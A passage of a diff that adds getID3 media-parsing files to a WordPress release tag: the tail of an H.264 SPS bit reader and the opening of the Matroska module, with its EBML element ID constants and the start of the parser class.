+			$this->expGolombUe();                                   // num_ref_frames
+			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
+			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
+			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1
+
+			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
+			if ($frame_mbs_only_flag == 0) {
+				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
+			}
+			$this->skipBits(1);                                     // direct_8x8_inference_flag
+			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag
+
+			$frame_crop_left_offset   = 0;
+			$frame_crop_right_offset  = 0;
+			$frame_crop_top_offset    = 0;
+			$frame_crop_bottom_offset = 0;
+
+			if ($frame_cropping_flag) {
+				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
+				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
+				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
+				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
+			}
+			$this->skipBits(1);                                     // vui_parameters_present_flag
+			// etc
+
+			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
+			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
+		}
+	}
+
+	public function skipBits($bits) {
+		$newBits = $this->currentBits + $bits;
+		$this->currentBytes += (int)floor($newBits / 8);
+		$this->currentBits = $newBits % 8;
+	}
+
+	public function getBit() {
+		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
+		$this->skipBits(1);
+		return $result;
+	}
+
+	public function getBits($bits) {
+		$result = 0;
+		for ($i = 0; $i < $bits; $i++) {
+			$result = ($result << 1) + $this->getBit();
+		}
+		return $result;
+	}
+
+	public function expGolombUe() {
+		$significantBits = 0;
+		$bit = $this->getBit();
+		while ($bit == 0) {
+			$significantBits++;
+			$bit = $this->getBit();
+
+			if ($significantBits > 31) {
+				// something is broken, this is an emergency escape to prevent infinite loops
+				return 0;
+			}
+		}
+		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
+	}
+
+	public function expGolombSe() {
+		$result = $this->expGolombUe();
+		if (($result & 0x01) == 0) {
+			return -($result >> 1);
+		} else {
+			return ($result + 1) >> 1;
+		}
+	}
+
+	public function getWidth() {
+		return $this->width;
+	}
+
+	public function getHeight() {
+		return $this->height;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio-video.matroska.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio-video.matroska.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio-video.matroska.php	(revision 56912)
@@ -0,0 +1,1790 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.matriska.php                             //
+// module for analyzing Matroska containers                    //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+define('EBML_ID_CHAPTERS',                  0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation.
+define('EBML_ID_SEEKHEAD',                  0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements.
+define('EBML_ID_TAGS',                      0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
+define('EBML_ID_INFO',                      0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
+define('EBML_ID_TRACKS',                    0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described.
+define('EBML_ID_SEGMENT',                   0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment.
+define('EBML_ID_ATTACHMENTS',               0x0941A469); // [19][41][A4][69] -- Contain attached files.
+define('EBML_ID_EBML',                      0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this.
+define('EBML_ID_CUES',                      0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment.
+define('EBML_ID_CLUSTER',                   0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
+define('EBML_ID_LANGUAGE',                    0x02B59C); //     [22][B5][9C] -- Specifies the language of the track in the Matroska languages form.
+define('EBML_ID_TRACKTIMECODESCALE',          0x03314F); //     [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
+define('EBML_ID_DEFAULTDURATION',             0x03E383); //     [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame.
+define('EBML_ID_CODECNAME',                   0x058688); //     [25][86][88] -- A human-readable string specifying the codec.
+define('EBML_ID_CODECDOWNLOADURL',            0x06B240); //     [26][B2][40] -- A URL to download about the codec used.
+define('EBML_ID_TIMECODESCALE',               0x0AD7B1); //     [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds).
+define('EBML_ID_COLOURSPACE',                 0x0EB524); //     [2E][B5][24] -- Same value as in AVI (32 bits).
+define('EBML_ID_GAMMAVALUE',                  0x0FB523); //     [2F][B5][23] -- Gamma Value.
+define('EBML_ID_CODECSETTINGS',               0x1A9697); //     [3A][96][97] -- A string describing the encoding setting used.
+define('EBML_ID_CODECINFOURL',                0x1B4040); //     [3B][40][40] -- A URL to find information about the codec used.
+define('EBML_ID_PREVFILENAME',                0x1C83AB); //     [3C][83][AB] -- An escaped filename corresponding to the previous segment.
+define('EBML_ID_PREVUID',                     0x1CB923); //     [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
+define('EBML_ID_NEXTFILENAME',                0x1E83BB); //     [3E][83][BB] -- An escaped filename corresponding to the next segment.
+define('EBML_ID_NEXTUID',                     0x1EB923); //     [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits).
+define('EBML_ID_CONTENTCOMPALGO',               0x0254); //         [42][54] -- The compression algorithm used. Algorithms that have been specified so far are:
+define('EBML_ID_CONTENTCOMPSETTINGS',           0x0255); //         [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track.
+define('EBML_ID_DOCTYPE',                       0x0282); //         [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case).
+define('EBML_ID_DOCTYPEREADVERSION',            0x0285); //         [42][85] -- The minimum DocType version an interpreter has to support to read this file.
+define('EBML_ID_EBMLVERSION',                   0x0286); //         [42][86] -- The version of EBML parser used to create the file.
+define('EBML_ID_DOCTYPEVERSION',                0x0287); //         [42][87] -- The version of DocType interpreter used to create the file.
+define('EBML_ID_EBMLMAXIDLENGTH',               0x02F2); //         [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska).
+define('EBML_ID_EBMLMAXSIZELENGTH',             0x02F3); //         [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid.
+define('EBML_ID_EBMLREADVERSION',               0x02F7); //         [42][F7] -- The minimum EBML version a parser has to support to read this file.
+define('EBML_ID_CHAPLANGUAGE',                  0x037C); //         [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form.
+define('EBML_ID_CHAPCOUNTRY',                   0x037E); //         [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains.
+define('EBML_ID_SEGMENTFAMILY',                 0x0444); //         [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits).
+define('EBML_ID_DATEUTC',                       0x0461); //         [44][61] -- Date of the origin of timecode (value 0), i.e. production date.
+define('EBML_ID_TAGLANGUAGE',                   0x047A); //         [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
+define('EBML_ID_TAGDEFAULT',                    0x0484); //         [44][84] -- Indication to know if this is the default/original language to use for the given tag.
+define('EBML_ID_TAGBINARY',                     0x0485); //         [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString.
+define('EBML_ID_TAGSTRING',                     0x0487); //         [44][87] -- The value of the Tag.
+define('EBML_ID_DURATION',                      0x0489); //         [44][89] -- Duration of the segment (based on TimecodeScale).
+define('EBML_ID_CHAPPROCESSPRIVATE',            0x050D); //         [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent.
+define('EBML_ID_CHAPTERFLAGENABLED',            0x0598); //         [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter.
+define('EBML_ID_TAGNAME',                       0x05A3); //         [45][A3] -- The name of the Tag that is going to be stored.
+define('EBML_ID_EDITIONENTRY',                  0x05B9); //         [45][B9] -- Contains all information about a segment edition.
+define('EBML_ID_EDITIONUID',                    0x05BC); //         [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition.
+define('EBML_ID_EDITIONFLAGHIDDEN',             0x05BD); //         [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks).
+define('EBML_ID_EDITIONFLAGDEFAULT',            0x05DB); //         [45][DB] -- If a flag is set (1) the edition should be used as the default one.
+define('EBML_ID_EDITIONFLAGORDERED',            0x05DD); //         [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced.
+define('EBML_ID_FILEDATA',                      0x065C); //         [46][5C] -- The data of the file.
+define('EBML_ID_FILEMIMETYPE',                  0x0660); //         [46][60] -- MIME type of the file.
+define('EBML_ID_FILENAME',                      0x066E); //         [46][6E] -- Filename of the attached file.
+define('EBML_ID_FILEREFERRAL',                  0x0675); //         [46][75] -- A binary value that a track/codec can refer to when the attachment is needed.
+define('EBML_ID_FILEDESCRIPTION',               0x067E); //         [46][7E] -- A human-friendly name for the attached file.
+define('EBML_ID_FILEUID',                       0x06AE); //         [46][AE] -- Unique ID representing the file, as random as possible.
+define('EBML_ID_CONTENTENCALGO',                0x07E1); //         [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values:
+define('EBML_ID_CONTENTENCKEYID',               0x07E2); //         [47][E2] -- For public key algorithms this is the ID of the public key the the data was encrypted with.
+define('EBML_ID_CONTENTSIGNATURE',              0x07E3); //         [47][E3] -- A cryptographic signature of the contents.
+define('EBML_ID_CONTENTSIGKEYID',               0x07E4); //         [47][E4] -- This is the ID of the private key the data was signed with.
+define('EBML_ID_CONTENTSIGALGO',                0x07E5); //         [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
+define('EBML_ID_CONTENTSIGHASHALGO',            0x07E6); //         [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
+define('EBML_ID_MUXINGAPP',                     0x0D80); //         [4D][80] -- Muxing application or library ("libmatroska-0.4.3").
+define('EBML_ID_SEEK',                          0x0DBB); //         [4D][BB] -- Contains a single seek entry to an EBML element.
+define('EBML_ID_CONTENTENCODINGORDER',          0x1031); //         [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment.
+define('EBML_ID_CONTENTENCODINGSCOPE',          0x1032); //         [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values:
+define('EBML_ID_CONTENTENCODINGTYPE',           0x1033); //         [50][33] -- A value describing what kind of transformation has been done. Possible values:
+define('EBML_ID_CONTENTCOMPRESSION',            0x1034); //         [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking.
+define('EBML_ID_CONTENTENCRYPTION',             0x1035); //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
+define('EBML_ID_CUEREFNUMBER',                  0x135F); //         [53][5F] -- Number of the referenced Block of Track X in the specified Cluster.
+define('EBML_ID_NAME',                          0x136E); //         [53][6E] -- A human-readable track name.
+define('EBML_ID_CUEBLOCKNUMBER',                0x1378); //         [53][78] -- Number of the Block in the specified Cluster.
+define('EBML_ID_TRACKOFFSET',                   0x137F); //         [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track.
+define('EBML_ID_SEEKID',                        0x13AB); //         [53][AB] -- The binary ID corresponding to the element name.
+define('EBML_ID_SEEKPOSITION',                  0x13AC); //         [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
+define('EBML_ID_STEREOMODE',                    0x13B8); //         [53][B8] -- Stereo-3D video mode.
+define('EBML_ID_OLDSTEREOMODE',                 0x13B9); //         [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes).
+define('EBML_ID_PIXELCROPBOTTOM',               0x14AA); //         [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content).
+define('EBML_ID_DISPLAYWIDTH',                  0x14B0); //         [54][B0] -- Width of the video frames to display.
+define('EBML_ID_DISPLAYUNIT',                   0x14B2); //         [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches).
+define('EBML_ID_ASPECTRATIOTYPE',               0x14B3); //         [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
+define('EBML_ID_DISPLAYHEIGHT',                 0x14BA); //         [54][BA] -- Height of the video frames to display.
+define('EBML_ID_PIXELCROPTOP',                  0x14BB); //         [54][BB] -- The number of video pixels to remove at the top of the image.
+define('EBML_ID_PIXELCROPLEFT',                 0x14CC); //         [54][CC] -- The number of video pixels to remove on the left of the image.
+define('EBML_ID_PIXELCROPRIGHT',                0x14DD); //         [54][DD] -- The number of video pixels to remove on the right of the image.
+define('EBML_ID_FLAGFORCED',                    0x15AA); //         [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind.
+define('EBML_ID_MAXBLOCKADDITIONID',            0x15EE); //         [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track.
+define('EBML_ID_WRITINGAPP',                    0x1741); //         [57][41] -- Writing application ("mkvmerge-0.3.3").
+define('EBML_ID_CLUSTERSILENTTRACKS',           0x1854); //         [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
+define('EBML_ID_CLUSTERSILENTTRACKNUMBER',      0x18D7); //         [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster.
+define('EBML_ID_ATTACHEDFILE',                  0x21A7); //         [61][A7] -- An attached file.
+define('EBML_ID_CONTENTENCODING',               0x2240); //         [62][40] -- Settings for one content encoding like compression or encryption.
+define('EBML_ID_BITDEPTH',                      0x2264); //         [62][64] -- Bits per sample, mostly used for PCM.
+define('EBML_ID_CODECPRIVATE',                  0x23A2); //         [63][A2] -- Private data only known to the codec.
+define('EBML_ID_TARGETS',                       0x23C0); //         [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment.
+define('EBML_ID_CHAPTERPHYSICALEQUIV',          0x23C3); //         [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values.
+define('EBML_ID_TAGCHAPTERUID',                 0x23C4); //         [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment.
+define('EBML_ID_TAGTRACKUID',                   0x23C5); //         [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment.
+define('EBML_ID_TAGATTACHMENTUID',              0x23C6); //         [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment.
+define('EBML_ID_TAGEDITIONUID',                 0x23C9); //         [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
+define('EBML_ID_TARGETTYPE',                    0x23CA); //         [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType).
+define('EBML_ID_TRACKTRANSLATE',                0x2624); //         [66][24] -- The track identification for the given Chapter Codec.
+define('EBML_ID_TRACKTRANSLATETRACKID',         0x26A5); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
+define('EBML_ID_TRACKTRANSLATECODEC',           0x26BF); //         [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
+define('EBML_ID_TRACKTRANSLATEEDITIONUID',      0x26FC); //         [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment.
+define('EBML_ID_SIMPLETAG',                     0x27C8); //         [67][C8] -- Contains general information about the target.
+define('EBML_ID_TARGETTYPEVALUE',               0x28CA); //         [68][CA] -- A number to indicate the logical level of the target (see TargetType).
+define('EBML_ID_CHAPPROCESSCOMMAND',            0x2911); //         [69][11] -- Contains all the commands associated to the Atom.
+define('EBML_ID_CHAPPROCESSTIME',               0x2922); //         [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter).
+define('EBML_ID_CHAPTERTRANSLATE',              0x2924); //         [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
+define('EBML_ID_CHAPPROCESSDATA',               0x2933); //         [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands.
+define('EBML_ID_CHAPPROCESS',                   0x2944); //         [69][44] -- Contains all the commands associated to the Atom.
+define('EBML_ID_CHAPPROCESSCODECID',            0x2955); //         [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later.
+define('EBML_ID_CHAPTERTRANSLATEID',            0x29A5); //         [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used.
+define('EBML_ID_CHAPTERTRANSLATECODEC',         0x29BF); //         [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
+define('EBML_ID_CHAPTERTRANSLATEEDITIONUID',    0x29FC); //         [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment.
+define('EBML_ID_CONTENTENCODINGS',              0x2D80); //         [6D][80] -- Settings for several content encoding mechanisms like compression or encryption.
+define('EBML_ID_MINCACHE',                      0x2DE7); //         [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
+define('EBML_ID_MAXCACHE',                      0x2DF8); //         [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed.
+define('EBML_ID_CHAPTERSEGMENTUID',             0x2E67); //         [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used.
+define('EBML_ID_CHAPTERSEGMENTEDITIONUID',      0x2EBC); //         [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
+define('EBML_ID_TRACKOVERLAY',                  0x2FAB); //         [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc.
+define('EBML_ID_TAG',                           0x3373); //         [73][73] -- Element containing elements specific to Tracks/Chapters.
+define('EBML_ID_SEGMENTFILENAME',               0x3384); //         [73][84] -- A filename corresponding to this segment.
+define('EBML_ID_SEGMENTUID',                    0x33A4); //         [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
+define('EBML_ID_CHAPTERUID',                    0x33C4); //         [73][C4] -- A unique ID to identify the Chapter.
+define('EBML_ID_TRACKUID',                      0x33C5); //         [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
+define('EBML_ID_ATTACHMENTLINK',                0x3446); //         [74][46] -- The UID of an attachment that is used by this codec.
+define('EBML_ID_CLUSTERBLOCKADDITIONS',         0x35A1); //         [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data.
+define('EBML_ID_CHANNELPOSITIONS',              0x347B); //         [7D][7B] -- Table of horizontal angles for each successive channel, see appendix.
+define('EBML_ID_OUTPUTSAMPLINGFREQUENCY',       0x38B5); //         [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques).
+define('EBML_ID_TITLE',                         0x3BA9); //         [7B][A9] -- General name of the segment.
+define('EBML_ID_CHAPTERDISPLAY',                  0x00); //             [80] -- Contains all possible strings to use for the chapter display.
+define('EBML_ID_TRACKTYPE',                       0x03); //             [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
+define('EBML_ID_CHAPSTRING',                      0x05); //             [85] -- Contains the string to use as the chapter atom.
+define('EBML_ID_CODECID',                         0x06); //             [86] -- An ID corresponding to the codec, see the codec page for more info.
+define('EBML_ID_FLAGDEFAULT',                     0x08); //             [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference.
+define('EBML_ID_CHAPTERTRACKNUMBER',              0x09); //             [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks.
+define('EBML_ID_CLUSTERSLICES',                   0x0E); //             [8E] -- Contains slices description.
+define('EBML_ID_CHAPTERTRACK',                    0x0F); //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
+define('EBML_ID_CHAPTERTIMESTART',                0x11); //             [91] -- Timecode of the start of Chapter (not scaled).
+define('EBML_ID_CHAPTERTIMEEND',                  0x12); //             [92] -- Timecode of the end of Chapter (timecode excluded, not scaled).
+define('EBML_ID_CUEREFTIME',                      0x16); //             [96] -- Timecode of the referenced Block.
+define('EBML_ID_CUEREFCLUSTER',                   0x17); //             [97] -- Position of the Cluster containing the referenced Block.
+define('EBML_ID_CHAPTERFLAGHIDDEN',               0x18); //             [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks).
+define('EBML_ID_FLAGINTERLACED',                  0x1A); //             [9A] -- Set if the video is interlaced.
+define('EBML_ID_CLUSTERBLOCKDURATION',            0x1B); //             [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks.
+define('EBML_ID_FLAGLACING',                      0x1C); //             [9C] -- Set if the track may contain blocks using lacing.
+define('EBML_ID_CHANNELS',                        0x1F); //             [9F] -- Numbers of channels in the track.
+define('EBML_ID_CLUSTERBLOCKGROUP',               0x20); //             [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock.
+define('EBML_ID_CLUSTERBLOCK',                    0x21); //             [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode.
+define('EBML_ID_CLUSTERBLOCKVIRTUAL',             0x22); //             [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
+define('EBML_ID_CLUSTERSIMPLEBLOCK',              0x23); //             [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed.
+define('EBML_ID_CLUSTERCODECSTATE',               0x24); //             [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry.
+define('EBML_ID_CLUSTERBLOCKADDITIONAL',          0x25); //             [A5] -- Interpreted by the codec as it wishes (using the BlockAddID).
+define('EBML_ID_CLUSTERBLOCKMORE',                0x26); //             [A6] -- Contain the BlockAdditional and some parameters.
+define('EBML_ID_CLUSTERPOSITION',                 0x27); //             [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams.
+define('EBML_ID_CODECDECODEALL',                  0x2A); //             [AA] -- The codec can decode potentially damaged data.
+define('EBML_ID_CLUSTERPREVSIZE',                 0x2B); //             [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing.
+define('EBML_ID_TRACKENTRY',                      0x2E); //             [AE] -- Describes a track with all elements.
+define('EBML_ID_CLUSTERENCRYPTEDBLOCK',           0x2F); //             [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed).
+define('EBML_ID_PIXELWIDTH',                      0x30); //             [B0] -- Width of the encoded video frames in pixels.
+define('EBML_ID_CUETIME',                         0x33); //             [B3] -- Absolute timecode according to the segment time base.
+define('EBML_ID_SAMPLINGFREQUENCY',               0x35); //             [B5] -- Sampling frequency in Hz.
+define('EBML_ID_CHAPTERATOM',                     0x36); //             [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks).
+define('EBML_ID_CUETRACKPOSITIONS',               0x37); //             [B7] -- Contain positions for different tracks corresponding to the timecode.
+define('EBML_ID_FLAGENABLED',                     0x39); //             [B9] -- Set if the track is used.
+define('EBML_ID_PIXELHEIGHT',                     0x3A); //             [BA] -- Height of the encoded video frames in pixels.
+define('EBML_ID_CUEPOINT',                        0x3B); //             [BB] -- Contains all information relative to a seek point in the segment.
+define('EBML_ID_CRC32',                           0x3F); //             [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32.
+define('EBML_ID_CLUSTERBLOCKADDITIONID',          0x4B); //             [CB] -- The ID of the BlockAdditional element (0 is the main Block).
+define('EBML_ID_CLUSTERLACENUMBER',               0x4C); //             [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
+define('EBML_ID_CLUSTERFRAMENUMBER',              0x4D); //             [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame).
+define('EBML_ID_CLUSTERDELAY',                    0x4E); //             [CE] -- The (scaled) delay to apply to the element.
+define('EBML_ID_CLUSTERDURATION',                 0x4F); //             [CF] -- The (scaled) duration to apply to the element.
+define('EBML_ID_TRACKNUMBER',                     0x57); //             [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number).
+define('EBML_ID_CUEREFERENCE',                    0x5B); //             [DB] -- The Clusters containing the required referenced Blocks.
+define('EBML_ID_VIDEO',                           0x60); //             [E0] -- Video settings.
+define('EBML_ID_AUDIO',                           0x61); //             [E1] -- Audio settings.
+define('EBML_ID_CLUSTERTIMESLICE',                0x68); //             [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
+define('EBML_ID_CUECODECSTATE',                   0x6A); //             [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry.
+define('EBML_ID_CUEREFCODECSTATE',                0x6B); //             [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry.
+define('EBML_ID_VOID',                            0x6C); //             [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use.
+define('EBML_ID_CLUSTERTIMECODE',                 0x67); //             [E7] -- Absolute timecode of the cluster (based on TimecodeScale).
+define('EBML_ID_CLUSTERBLOCKADDID',               0x6E); //             [EE] -- An ID to identify the BlockAdditional level.
+define('EBML_ID_CUECLUSTERPOSITION',              0x71); //             [F1] -- The position of the Cluster containing the required Block.
+define('EBML_ID_CUETRACK',                        0x77); //             [F7] -- The track for which a position is given.
+define('EBML_ID_CLUSTERREFERENCEPRIORITY',        0x7A); //             [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced.
+define('EBML_ID_CLUSTERREFERENCEBLOCK',           0x7B); //             [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
+define('EBML_ID_CLUSTERREFERENCEVIRTUAL',         0x7D); //             [FD] -- Relative position of the data that should be in position of the virtual block.
+
+
+/**
+* @tutorial http://www.matroska.org/technical/specs/index.html
+*
+* @todo Rewrite EBML parser to reduce it's size and honor default element values
+* @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection
+*/
+class getid3_matroska extends getid3_handler
+{
+	// public options
+	public static $hide_clusters    = true;  // if true, do not return information about CLUSTER chunks, since there's a lot of them and they're not usually useful [default: TRUE]
+	public static $parse_whole_file = false; // true to parse the whole file, not only header [default: FALSE]
+
+	// private parser settings/placeholders
+	private $EBMLbuffer        = '';
+	private $EBMLbuffer_offset = 0;
+	private $EBMLbuffer_length = 0;
+	private $current_offset    = 0;
+	private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID);
+
+	public function Analyze()
+	{
+		$info = &$this->getid3->info;
+
+		// parse container
+		try {
